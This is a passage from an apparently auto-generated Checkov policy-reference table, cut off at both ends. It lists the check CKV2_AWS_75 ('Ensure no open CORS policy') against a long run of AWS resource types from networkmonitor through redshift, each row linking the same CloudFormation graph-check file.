| 1133 | CKV2_AWS_75 | resource | aws_networkmonitor_monitor | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1134 | CKV2_AWS_75 | resource | aws_networkmonitor_probe | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1135 | CKV2_AWS_75 | resource | aws_oam_link | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1136 | CKV2_AWS_75 | resource | aws_oam_sink | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1137 | CKV2_AWS_75 | resource | aws_oam_sink_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1138 | CKV2_AWS_75 | resource | aws_opensearch_authorize_vpc_endpoint_access | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1139 | CKV2_AWS_75 | resource | aws_opensearch_domain | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1140 | CKV2_AWS_75 | resource | aws_opensearch_domain_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1141 | CKV2_AWS_75 | resource | aws_opensearch_domain_saml_options | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1142 | CKV2_AWS_75 | resource | aws_opensearch_inbound_connection_accepter | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1143 | CKV2_AWS_75 | resource | aws_opensearch_outbound_connection | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1144 | CKV2_AWS_75 | resource | aws_opensearch_package | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1145 | CKV2_AWS_75 | resource | aws_opensearch_package_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1146 | CKV2_AWS_75 | resource | aws_opensearch_vpc_endpoint | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1147 | CKV2_AWS_75 | resource | aws_opensearchserverless_access_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1148 | CKV2_AWS_75 | resource | aws_opensearchserverless_collection | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1149 | CKV2_AWS_75 | resource | aws_opensearchserverless_lifecycle_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1150 | CKV2_AWS_75 | resource | aws_opensearchserverless_security_config | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1151 | CKV2_AWS_75 | resource | aws_opensearchserverless_security_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1152 | CKV2_AWS_75 | resource | aws_opensearchserverless_vpc_endpoint | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1153 | CKV2_AWS_75 | resource | aws_opsworks_application | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1154 | CKV2_AWS_75 | resource | aws_opsworks_custom_layer | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1155 | CKV2_AWS_75 | resource | aws_opsworks_ecs_cluster_layer | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1156 | CKV2_AWS_75 | resource | aws_opsworks_ganglia_layer | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1157 | CKV2_AWS_75 | resource | aws_opsworks_haproxy_layer | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1158 | CKV2_AWS_75 | resource | aws_opsworks_instance | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1159 | CKV2_AWS_75 | resource | aws_opsworks_java_app_layer | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1160 | CKV2_AWS_75 | resource | aws_opsworks_memcached_layer | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1161 | CKV2_AWS_75 | resource | aws_opsworks_mysql_layer | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1162 | CKV2_AWS_75 | resource | aws_opsworks_nodejs_app_layer | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1163 | CKV2_AWS_75 | resource | aws_opsworks_permission | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1164 | CKV2_AWS_75 | resource | aws_opsworks_php_app_layer | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1165 | CKV2_AWS_75 | resource | aws_opsworks_rails_app_layer | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1166 | CKV2_AWS_75 | resource | aws_opsworks_rds_db_instance | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1167 | CKV2_AWS_75 | resource | aws_opsworks_stack | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1168 | CKV2_AWS_75 | resource | aws_opsworks_static_web_layer | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1169 | CKV2_AWS_75 | resource | aws_opsworks_user_profile | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1170 | CKV2_AWS_75 | resource | aws_organizations_account | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1171 | CKV2_AWS_75 | resource | aws_organizations_delegated_administrator | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1172 | CKV2_AWS_75 | resource | aws_organizations_organization | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1173 | CKV2_AWS_75 | resource | aws_organizations_organizational_unit | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1174 | CKV2_AWS_75 | resource | aws_organizations_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1175 | CKV2_AWS_75 | resource | aws_organizations_policy_attachment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1176 | CKV2_AWS_75 | resource | aws_organizations_resource_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1177 | CKV2_AWS_75 | resource | aws_osis_pipeline | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1178 | CKV2_AWS_75 | resource | aws_paymentcryptography_key | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1179 | CKV2_AWS_75 | resource | aws_paymentcryptography_key_alias | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1180 | CKV2_AWS_75 | resource | aws_pinpoint_adm_channel | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1181 | CKV2_AWS_75 | resource | aws_pinpoint_apns_channel | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1182 | CKV2_AWS_75 | resource | aws_pinpoint_apns_sandbox_channel | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1183 | CKV2_AWS_75 | resource | aws_pinpoint_apns_voip_channel | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1184 | CKV2_AWS_75 | resource | aws_pinpoint_apns_voip_sandbox_channel | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1185 | CKV2_AWS_75 | resource | aws_pinpoint_app | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1186 | CKV2_AWS_75 | resource | aws_pinpoint_baidu_channel | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1187 | CKV2_AWS_75 | resource | aws_pinpoint_email_channel | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1188 | CKV2_AWS_75 | resource | aws_pinpoint_email_template | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1189 | CKV2_AWS_75 | resource | aws_pinpoint_event_stream | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1190 | CKV2_AWS_75 | resource | aws_pinpoint_gcm_channel | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1191 | CKV2_AWS_75 | resource | aws_pinpoint_sms_channel | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1192 | CKV2_AWS_75 | resource | aws_pinpointsmsvoicev2_configuration_set | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1193 | CKV2_AWS_75 | resource | aws_pinpointsmsvoicev2_opt_out_list | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1194 | CKV2_AWS_75 | resource | aws_pinpointsmsvoicev2_phone_number | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1195 | CKV2_AWS_75 | resource | aws_pipes_pipe | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1196 | CKV2_AWS_75 | resource | aws_placement_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1197 | CKV2_AWS_75 | resource | aws_prometheus_alert_manager_definition | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1198 | CKV2_AWS_75 | resource | aws_prometheus_rule_group_namespace | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1199 | CKV2_AWS_75 | resource | aws_prometheus_scraper | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1200 | CKV2_AWS_75 | resource | aws_prometheus_workspace | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1201 | CKV2_AWS_75 | resource | aws_proxy_protocol_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1202 | CKV2_AWS_75 | resource | aws_qldb_ledger | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1203 | CKV2_AWS_75 | resource | aws_qldb_stream | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1204 | CKV2_AWS_75 | resource | aws_quicksight_account_subscription | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1205 | CKV2_AWS_75 | resource | aws_quicksight_analysis | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1206 | CKV2_AWS_75 | resource | aws_quicksight_dashboard | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1207 | CKV2_AWS_75 | resource | aws_quicksight_data_set | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1208 | CKV2_AWS_75 | resource | aws_quicksight_data_source | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1209 | CKV2_AWS_75 | resource | aws_quicksight_folder | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1210 | CKV2_AWS_75 | resource | aws_quicksight_folder_membership | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1211 | CKV2_AWS_75 | resource | aws_quicksight_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1212 | CKV2_AWS_75 | resource | aws_quicksight_group_membership | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1213 | CKV2_AWS_75 | resource | aws_quicksight_iam_policy_assignment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1214 | CKV2_AWS_75 | resource | aws_quicksight_ingestion | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1215 | CKV2_AWS_75 | resource | aws_quicksight_namespace | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1216 | CKV2_AWS_75 | resource | aws_quicksight_refresh_schedule | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1217 | CKV2_AWS_75 | resource | aws_quicksight_template | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1218 | CKV2_AWS_75 | resource | aws_quicksight_template_alias | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1219 | CKV2_AWS_75 | resource | aws_quicksight_theme | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1220 | CKV2_AWS_75 | resource | aws_quicksight_user | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1221 | CKV2_AWS_75 | resource | aws_quicksight_vpc_connection | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1222 | CKV2_AWS_75 | resource | aws_ram_principal_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1223 | CKV2_AWS_75 | resource | aws_ram_resource_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1224 | CKV2_AWS_75 | resource | aws_ram_resource_share | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1225 | CKV2_AWS_75 | resource | aws_ram_resource_share_accepter | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1226 | CKV2_AWS_75 | resource | aws_ram_sharing_with_organization | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1227 | CKV2_AWS_75 | resource | aws_rbin_rule | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1228 | CKV2_AWS_75 | resource | aws_rds_certificate | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1229 | CKV2_AWS_75 | resource | aws_rds_cluster | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1230 | CKV2_AWS_75 | resource | aws_rds_cluster_activity_stream | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1231 | CKV2_AWS_75 | resource | aws_rds_cluster_endpoint | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1232 | CKV2_AWS_75 | resource | aws_rds_cluster_instance | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1233 | CKV2_AWS_75 | resource | aws_rds_cluster_parameter_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1234 | CKV2_AWS_75 | resource | aws_rds_cluster_role_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1235 | CKV2_AWS_75 | resource | aws_rds_cluster_snapshot_copy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1236 | CKV2_AWS_75 | resource | aws_rds_custom_db_engine_version | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1237 | CKV2_AWS_75 | resource | aws_rds_export_task | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1238 | CKV2_AWS_75 | resource | aws_rds_global_cluster | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1239 | CKV2_AWS_75 | resource | aws_rds_instance_state | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1240 | CKV2_AWS_75 | resource | aws_rds_integration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1241 | CKV2_AWS_75 | resource | aws_rds_reserved_instance | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1242 | CKV2_AWS_75 | resource | aws_redshift_authentication_profile | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1243 | CKV2_AWS_75 | resource | aws_redshift_cluster | Ensure no open CORS policy | 